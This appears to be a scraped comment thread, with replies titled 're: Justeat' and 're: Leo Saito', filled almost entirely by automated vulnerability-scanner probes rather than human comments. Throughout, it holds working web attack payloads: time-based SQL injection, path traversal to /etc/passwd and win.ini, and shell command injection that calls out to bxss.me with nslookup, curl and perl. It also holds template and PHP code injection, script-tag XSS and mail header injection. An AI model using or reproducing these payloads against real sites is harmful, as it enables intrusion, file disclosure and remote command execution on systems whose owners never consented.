re: Justeat
1TIHZ9GTF0
re: Justeat
response.write(9796612*9250047)
re: Justeat
'+response.write(9796612*9250047)+'
re: Justeat
"+response.write(9796612*9250047)+"
re: Justeat
../../../../../../../../../../../../../../etc/passwd
re: Justeat
../../../../../../../../../../../../../../windows/win.ini
re: Justeat
<esi:include src="http://bxss.me/rpb.png"/>
re: Justeat
file:///etc/passwd
re: Justeat
${9999099+9999118}
re: Justeat
../
re: Justeat
)
re: Justeat
!(()&&!|*|*|
re: Justeat
redirtest.acx
re: Justeat
^(#$!@#$)(()))******
re: Justeat
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
re: Justeat
'.gethostbyname(lc('hitua'.'figkpdnfc02ba.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(107).chr(75).chr(111).chr(70).'
re: Justeat
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
re: Justeat
".gethostbyname(lc("hitji"."uvwgzdtn43f28.bxss.me."))."A".chr(67).chr(hex("58")).chr(107).chr(75).chr(114).chr(88)."
re: Justeat
echo inpzbn$()\ tnjspw\nz^xyu||a #' &echo inpzbn$()\ tnjspw\nz^xyu||a #|" &echo inpzbn$()\ tnjspw\nz^xyu||a #
re: Justeat
/etc/shells
re: Justeat
gethostbyname(lc('hitrl'.'oixlcfijd0099.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(109).chr(86).chr(105).chr(68)
re: Justeat
&echo ugyyyi$()\ ocfdys\nz^xyu||a #' &echo ugyyyi$()\ ocfdys\nz^xyu||a #|" &echo ugyyyi$()\ ocfdys\nz^xyu||a #
re: Justeat
../../../../../../../../../../../../../../etc/shells
re: Justeat
|echo vdhmnw$()\ scvfed\nz^xyu||a #' |echo vdhmnw$()\ scvfed\nz^xyu||a #|" |echo vdhmnw$()\ scvfed\nz^xyu||a #
re: Justeat
ctime
sleep
p0
(I30
tp1
Rp2
.
re: Justeat
c:/windows/win.ini
re: Justeat
expr 9000819344 - 923327
re: Justeat
bxss.me
re: Justeat
(nslookup -q=cname hitancataodbz63063.bxss.me||curl hitancataodbz63063.bxss.me))
re: Justeat
Http://bxss.me/t/fit.txt
re: Justeat
$(nslookup -q=cname hitlzqridldhi0c361.bxss.me||curl hitlzqridldhi0c361.bxss.me)
re: Justeat
http://bxss.me/t/fit.txt?.jpg
re: Justeat
&nslookup -q=cname hitidffwgphtx10566.bxss.me&'\"`0&nslookup -q=cname hitidffwgphtx10566.bxss.me&`'
re: Justeat
&(nslookup -q=cname hitaihhuzhvtc9d5ef.bxss.me||curl hitaihhuzhvtc9d5ef.bxss.me)&'\"`0&(nslookup -q=cname hitaihhuzhvtc9d5ef.bxss.me||curl hitaihhuzhvtc9d5ef.bxss.me)&`'
re: Justeat
|(nslookup -q=cname hitlrtnybqcwzad714.bxss.me||curl hitlrtnybqcwzad714.bxss.me)
re: Justeat
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
re: Justeat
';print(md5(31337));$a='
re: Justeat
`(nslookup -q=cname hitxbhspatvqw4681c.bxss.me||curl hitxbhspatvqw4681c.bxss.me)`
re: Justeat
";print(md5(31337));$a="
re: Justeat
;(nslookup -q=cname hitchixefhpbp1f6b3.bxss.me||curl hitchixefhpbp1f6b3.bxss.me)|(nslookup -q=cname hitchixefhpbp1f6b3.bxss.me||curl hitchixefhpbp1f6b3.bxss.me)&(nslookup -q=cname hitchixefhpbp1f6b3.bxss.me||curl hitchixefhpbp1f6b3.bxss.me)
re: Justeat
|(nslookup${IFS}-q${IFS}cname${IFS}hitrzohjtxrfx3398f.bxss.me||curl${IFS}hitrzohjtxrfx3398f.bxss.me)
re: Justeat
${@print(md5(31337))}
re: Justeat
'"()
re: Justeat
&(nslookup${IFS}-q${IFS}cname${IFS}hitijnwjrkzowdd42f.bxss.me||curl${IFS}hitijnwjrkzowdd42f.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitijnwjrkzowdd42f.bxss.me||curl${IFS}hitijnwjrkzowdd42f.bxss.me)&`'
re: Justeat
HttP://bxss.me/t/xss.html?%00
re: Justeat
${@print(md5(31337))}\
re: Justeat
'&&sleep(27*1000)*crstob&&'
re: Justeat
bxss.me/t/xss.html?%00
re: Justeat
'.print(md5(31337)).'
re: Justeat
"+"A".concat(70-3).concat(22*4).concat(99).concat(74).concat(104).concat(89)+(require"socket"
Socket.gethostbyname("hitlx"+"pbblhiwn9a076.bxss.me.")[3].to_s)+"
re: Justeat
"&&sleep(27*1000)*ynpelj&&"
re: Justeat
'+'A'.concat(70-3).concat(22*4).concat(99).concat(87).concat(97).concat(65)+(require'socket'
Socket.gethostbyname('hitos'+'xvcibelo774bf.bxss.me.')[3].to_s)+'
re: Justeat
'||sleep(27*1000)*qntvrj||'
re: Justeat
'A'.concat(70-3).concat(22*4).concat(110).concat(65).concat(115).concat(67)+(require'socket'
Socket.gethostbyname('hitnf'+'xfdokxid3f073.bxss.me.')[3].to_s)
re: Justeat
"||sleep(27*1000)*bbialy||"
re: Justeat
'"
re: Justeat
replies
re: Justeat
<!--
re: Justeat
replies
re: Justeat
replies/.
re: Justeat
'"()&%<zzz><ScRiPt >qFye(9608)</ScRiPt>
re: Justeat
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitoqtvdyxnnr94a04.bxss.me")}}
re: Justeat
'"()&%<zzz><ScRiPt >qFye(9060)</ScRiPt>
re: Justeat
9517799
re: Justeat
YjjdToXY
re: Justeat
*1
re: Justeat
*1
re: Justeat
*1
re: Justeat
*1
re: Justeat
-1 OR 5*5=25 --
re: Justeat
-1 OR 5*5=26 --
re: Justeat
-1 OR 5*5=25
re: Justeat
-1 OR 5*5=26
re: Justeat
*if(now()=sysdate(),sleep(15),0)
re: Justeat
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: Justeat
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: Justeat
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Justeat
-1; waitfor delay '0:0:15' --
re: Justeat
-1); waitfor delay '0:0:15' --
re: Justeat
-1 waitfor delay '0:0:15' --
re: Justeat
qzQMdu3b'; waitfor delay '0:0:15' --
re: Justeat
-1 OR 299=(SELECT 299 FROM PG_SLEEP(15))--
re: Justeat
-1) OR 643=(SELECT 643 FROM PG_SLEEP(15))--
re: Justeat
-1)) OR 449=(SELECT 449 FROM PG_SLEEP(15))--
re: Justeat
X0LuO4zd' OR 283=(SELECT 283 FROM PG_SLEEP(15))--
re: Justeat
CkeLMWsB') OR 264=(SELECT 264 FROM PG_SLEEP(15))--
re: Justeat
RgLxsPCt')) OR 444=(SELECT 444 FROM PG_SLEEP(15))--
re: Justeat
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Justeat
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Justeat
'||(select 1 from (select pg_sleep(15))x)||'
re: Justeat
''||(select 1 from (select pg_sleep(15))x)||''
re: Justeat
'"
re: Justeat
@@pLmIG
re: Justeat
(select 198766*667891)
re: Justeat
(select 198766*667891 from DUAL)
re: Justeat
eVjpCtzo
re: Justeat
*1
re: Justeat
*1
re: Justeat
*1
re: Justeat
*1
re: Justeat
-1 OR 5*5=25 --
re: Justeat
-1 OR 5*5=26 --
re: Justeat
-1 OR 5*5=25
re: Justeat
-1 OR 5*5=26
re: Justeat
*if(now()=sysdate(),sleep(15),0)
re: Justeat
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: Justeat
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: Justeat
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Justeat
-1; waitfor delay '0:0:15' --
re: Justeat
-1); waitfor delay '0:0:15' --
re: Justeat
-1 waitfor delay '0:0:15' --
re: Justeat
gHJCx5RG'; waitfor delay '0:0:15' --
re: Justeat
-1 OR 417=(SELECT 417 FROM PG_SLEEP(15))--
re: Justeat
-1) OR 439=(SELECT 439 FROM PG_SLEEP(15))--
re: Justeat
-1)) OR 43=(SELECT 43 FROM PG_SLEEP(15))--
re: Justeat
LjLw0npH' OR 836=(SELECT 836 FROM PG_SLEEP(15))--
re: Justeat
kAltv1c1') OR 75=(SELECT 75 FROM PG_SLEEP(15))--
re: Justeat
fsMlNTYs')) OR 921=(SELECT 921 FROM PG_SLEEP(15))--
re: Justeat
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Justeat
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Justeat
'||(select 1 from (select pg_sleep(15))x)||'
re: Justeat
''||(select 1 from (select pg_sleep(15))x)||''
re: Justeat
'"
re: Justeat
@@cK0AE
re: Justeat
(select 198766*667891)
re: Justeat
(select 198766*667891 from DUAL)
re: Justeat
0kYs2ofq
re: Justeat
*1
re: Justeat
*1
re: Justeat
*1
re: Justeat
*1
re: Justeat
-1 OR 5*5=25 --
re: Justeat
-1 OR 5*5=26 --
re: Justeat
-1 OR 5*5=25
re: Justeat
-1 OR 5*5=26
re: Justeat
*if(now()=sysdate(),sleep(15),0)
re: Justeat
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: Justeat
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: Justeat
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Justeat
-1; waitfor delay '0:0:15' --
re: Justeat
-1); waitfor delay '0:0:15' --
re: Justeat
-1 waitfor delay '0:0:15' --
re: Justeat
ugPsYLcU'; waitfor delay '0:0:15' --
re: Justeat
-1 OR 575=(SELECT 575 FROM PG_SLEEP(15))--
re: Justeat
-1) OR 294=(SELECT 294 FROM PG_SLEEP(15))--
re: Justeat
-1)) OR 933=(SELECT 933 FROM PG_SLEEP(15))--
re: Justeat
gJb8W9gI' OR 894=(SELECT 894 FROM PG_SLEEP(15))--
re: Justeat
ibi99FGu') OR 656=(SELECT 656 FROM PG_SLEEP(15))--
re: Justeat
l5EaXa20')) OR 831=(SELECT 831 FROM PG_SLEEP(15))--
re: Justeat
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Justeat
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Justeat
'||(select 1 from (select pg_sleep(15))x)||'
re: Justeat
''||(select 1 from (select pg_sleep(15))x)||''
re: Justeat
'"
re: Justeat
@@HuNqw
re: Justeat
(select 198766*667891)
re: Justeat
(select 198766*667891 from DUAL)
re: Justeat
qN5qILsl
re: Justeat
1*
re: Justeat
1*
re: Justeat
1*
re: Justeat
1*
re: Justeat
-1 OR 2+930-930-1=0+0+0+1
re: Justeat
-1 OR 3+930-930-1=0+0+0+1
re: Justeat
if(now()=sysdate(),sleep(15),0)
re: Justeat
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: Justeat
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: Justeat
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Justeat
-1; waitfor delay '0:0:15' --
re: Justeat
-1); waitfor delay '0:0:15' --
re: Justeat
1 waitfor delay '0:0:15' --
re: Justeat
gCfeuXcV'; waitfor delay '0:0:15' --
re: Justeat
-5 OR 440=(SELECT 440 FROM PG_SLEEP(15))--
re: Justeat
-5) OR 386=(SELECT 386 FROM PG_SLEEP(15))--
re: Justeat
-1)) OR 526=(SELECT 526 FROM PG_SLEEP(15))--
re: Justeat
CkZzwvc4' OR 572=(SELECT 572 FROM PG_SLEEP(15))--
re: Justeat
cSJykcen') OR 320=(SELECT 320 FROM PG_SLEEP(15))--
re: Justeat
Wy7TTwdX')) OR 860=(SELECT 860 FROM PG_SLEEP(15))--
re: Justeat
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Justeat
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Justeat
'||(select 1 from (select pg_sleep(15))x)||'
re: Justeat
''||(select 1 from (select pg_sleep(15))x)||''
re: Justeat
1'"
re: Justeat
@@PbiMG
re: Justeat
Q8pZbHyP
re: Justeat
*1
re: Justeat
*1
re: Justeat
*1
re: Justeat
*1
re: Justeat
-1 OR 5*5=25 --
re: Justeat
-1 OR 5*5=26 --
re: Justeat
-1 OR 5*5=25
re: Justeat
-1 OR 5*5=26
re: Justeat
*if(now()=sysdate(),sleep(15),0)
re: Justeat
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: Justeat
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: Justeat
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Justeat
-1; waitfor delay '0:0:15' --
re: Justeat
-1); waitfor delay '0:0:15' --
re: Justeat
-1 waitfor delay '0:0:15' --
re: Justeat
VNif49kd'; waitfor delay '0:0:15' --
re: Justeat
-1 OR 784=(SELECT 784 FROM PG_SLEEP(15))--
re: Justeat
-1) OR 121=(SELECT 121 FROM PG_SLEEP(15))--
re: Justeat
-1)) OR 387=(SELECT 387 FROM PG_SLEEP(15))--
re: Justeat
IHrL2Dej' OR 591=(SELECT 591 FROM PG_SLEEP(15))--
re: Justeat
8eT3g8JC') OR 683=(SELECT 683 FROM PG_SLEEP(15))--
re: Justeat
X8CxOAST')) OR 287=(SELECT 287 FROM PG_SLEEP(15))--
re: Justeat
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Justeat
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Justeat
'||(select 1 from (select pg_sleep(15))x)||'
re: Justeat
''||(select 1 from (select pg_sleep(15))x)||''
re: Justeat
'"
re: Justeat
@@OoJV2
re: Justeat
(select 198766*667891)
re: Justeat
(select 198766*667891 from DUAL)
Yap!
re: Leo Saito
maMPKxXa
re: Leo Saito
1*
re: Leo Saito
1*
re: Leo Saito
1*
re: Leo Saito
1*
re: Leo Saito
-1 OR 2+711-711-1=0+0+0+1
re: Leo Saito
-1 OR 3+711-711-1=0+0+0+1
re: Leo Saito
if(now()=sysdate(),sleep(15),0)
re: Leo Saito
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: Leo Saito
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: Leo Saito
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Leo Saito
-1; waitfor delay '0:0:15' --
re: Leo Saito
-1); waitfor delay '0:0:15' --
re: Leo Saito
1 waitfor delay '0:0:15' --
re: Leo Saito
CZdTsVGT'; waitfor delay '0:0:15' --
re: Leo Saito
-5 OR 402=(SELECT 402 FROM PG_SLEEP(15))--
re: Leo Saito
-5) OR 887=(SELECT 887 FROM PG_SLEEP(15))--
re: Leo Saito
-1)) OR 632=(SELECT 632 FROM PG_SLEEP(15))--
re: Leo Saito
Iv8IG2UR' OR 300=(SELECT 300 FROM PG_SLEEP(15))--
re: Leo Saito
WJNC6eie') OR 417=(SELECT 417 FROM PG_SLEEP(15))--
re: Leo Saito
BS0IUpYd')) OR 490=(SELECT 490 FROM PG_SLEEP(15))--
re: Leo Saito
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Leo Saito
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Leo Saito
'||(select 1 from (select pg_sleep(15))x)||'
re: Leo Saito
''||(select 1 from (select pg_sleep(15))x)||''
re: Leo Saito
1'"
re: Leo Saito
@@UX5M7
re: Leo Saito
fsNJrhLr
re: Leo Saito
1*
re: Leo Saito
1*
re: Leo Saito
1*
re: Leo Saito
1*
re: Leo Saito
-1 OR 2+371-371-1=0+0+0+1
re: Leo Saito
-1 OR 3+371-371-1=0+0+0+1
re: Leo Saito
if(now()=sysdate(),sleep(15),0)
re: Leo Saito
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: Leo Saito
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: Leo Saito
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Leo Saito
-1; waitfor delay '0:0:15' --
re: Leo Saito
-1); waitfor delay '0:0:15' --
re: Leo Saito
1 waitfor delay '0:0:15' --
re: Leo Saito
t9DJ40ya'; waitfor delay '0:0:15' --
re: Leo Saito
-5 OR 467=(SELECT 467 FROM PG_SLEEP(15))--
re: Leo Saito
-5) OR 377=(SELECT 377 FROM PG_SLEEP(15))--
re: Leo Saito
-1)) OR 37=(SELECT 37 FROM PG_SLEEP(15))--
re: Leo Saito
yWKhoQ0a' OR 670=(SELECT 670 FROM PG_SLEEP(15))--
re: Leo Saito
OvuPO2JX') OR 881=(SELECT 881 FROM PG_SLEEP(15))--
re: Leo Saito
z1jrZGKH')) OR 724=(SELECT 724 FROM PG_SLEEP(15))--
re: Leo Saito
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Leo Saito
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Leo Saito
'||(select 1 from (select pg_sleep(15))x)||'
re: Leo Saito
''||(select 1 from (select pg_sleep(15))x)||''
re: Leo Saito
1'"
re: Leo Saito
@@O7iw2
re: Leo Saito
1PI80GKLO
re: Leo Saito
response.write(9923414*9458159)
re: Leo Saito
'+response.write(9923414*9458159)+'
re: Leo Saito
"+response.write(9923414*9458159)+"
re: Leo Saito
%0abcc:074625.67-10282.67.f4cfe.19990.2@bxss.me
re: Leo Saito
to@example.com>%0d%0abcc:074625.67-10283.67.f4cfe.19990.2@bxss.me
re: Leo Saito
../../../../../../../../../../../../../../etc/passwd
re: Leo Saito
../../../../../../../../../../../../../../windows/win.ini
re: Leo Saito
file:///etc/passwd
re: Leo Saito
../../../../../../../../../../../../../../../proc/version
re: Leo Saito
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
re: Leo Saito
../../../../../../../../../../etc/passwd%00.jpg
re: Leo Saito
echo ledfry$()\ rmlply\nz^xyu||a #' &echo ledfry$()\ rmlply\nz^xyu||a #|" &echo ledfry$()\ rmlply\nz^xyu||a #
re: Leo Saito
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
re: Leo Saito
&echo eanrdd$()\ zshrvr\nz^xyu||a #' &echo eanrdd$()\ zshrvr\nz^xyu||a #|" &echo eanrdd$()\ zshrvr\nz^xyu||a #
re: Leo Saito
/../..//../..//../..//../..//../..//etc/passwd%00.jpg
re: Leo Saito
|echo otwzqj$()\ ccefid\nz^xyu||a #' |echo otwzqj$()\ ccefid\nz^xyu||a #|" |echo otwzqj$()\ ccefid\nz^xyu||a #
re: Leo Saito
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
re: Leo Saito
(nslookup hitfmmpejbhpfbc11c.bxss.me||perl -e "gethostbyname('hitfmmpejbhpfbc11c.bxss.me')")
re: Leo Saito
/etc/passwd
re: Leo Saito
$(nslookup hitjplyfmngqb55c13.bxss.me||perl -e "gethostbyname('hitjplyfmngqb55c13.bxss.me')")
re: Leo Saito
%2fetc%2fpasswd
re: Leo Saito
<esi:include src="http://bxss.me/rpb.png"/>
re: Leo Saito
&nslookup hitkynvxinfptcb872.bxss.me&'\"`0&nslookup hitkynvxinfptcb872.bxss.me&`'
re: Leo Saito
/.././.././.././.././.././.././.././../etc/./passwd%00
re: Leo Saito
&(nslookup hithvopacegxo5474c.bxss.me||perl -e "gethostbyname('hithvopacegxo5474c.bxss.me')")&'\"`0&(nslookup hithvopacegxo5474c.bxss.me||perl -e "gethostbyname('hithvopacegxo5474c.bxss.me')")&`'
re: Leo Saito
../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
re: Leo Saito
|(nslookup hitmsmazqszdo567b4.bxss.me||perl -e "gethostbyname('hitmsmazqszdo567b4.bxss.me')")
re: Leo Saito
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
re: Leo Saito
${9999683+9999719}
re: Leo Saito
`(nslookup hitudfftfzlsw810b4.bxss.me||perl -e "gethostbyname('hitudfftfzlsw810b4.bxss.me')")`
re: Leo Saito
../././../././../././../././../././../././../././../././../././../././etc/passwd
re: Leo Saito
;(nslookup hitxfcjlykyvj1a98c.bxss.me||perl -e "gethostbyname('hitxfcjlykyvj1a98c.bxss.me')")|(nslookup hitxfcjlykyvj1a98c.bxss.me||perl -e "gethostbyname('hitxfcjlykyvj1a98c.bxss.me')")&(nslookup hitxfcjlykyvj1a98c.bxss.me||perl -e "gethostbyname('hitxfcjlykyvj1a98c.bxss.me')")
re: Leo Saito
..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd
re: Leo Saito
invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
re: Leo Saito
file:///etc/passwd
re: Leo Saito
/\../\../\../\../\../\../\../etc/passwd
re: Leo Saito
/WEB-INF/web.xml
re: Leo Saito
C:\WINDOWS\system32\drivers\etc\hosts
re: Leo Saito
../../../../../../../../../../windows/win.ini%00.jpg
re: Leo Saito
)
re: Leo Saito
/../../../../../../../../../../boot.ini
re: Leo Saito
!(()&&!|*|*|
re: Leo Saito
%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afwindows%c0%afwin.ini
re: Leo Saito
^(#$!@#$)(()))******
re: Leo Saito
..\..\..\..\..\..\..\..\windows\win.ini
re: Leo Saito
..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini
re: Leo Saito
/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini
re: Leo Saito
../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini
re: Leo Saito
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini
re: Leo Saito
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
re: Leo Saito
unexisting/../../../../../../../../../../windows/win.ini.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.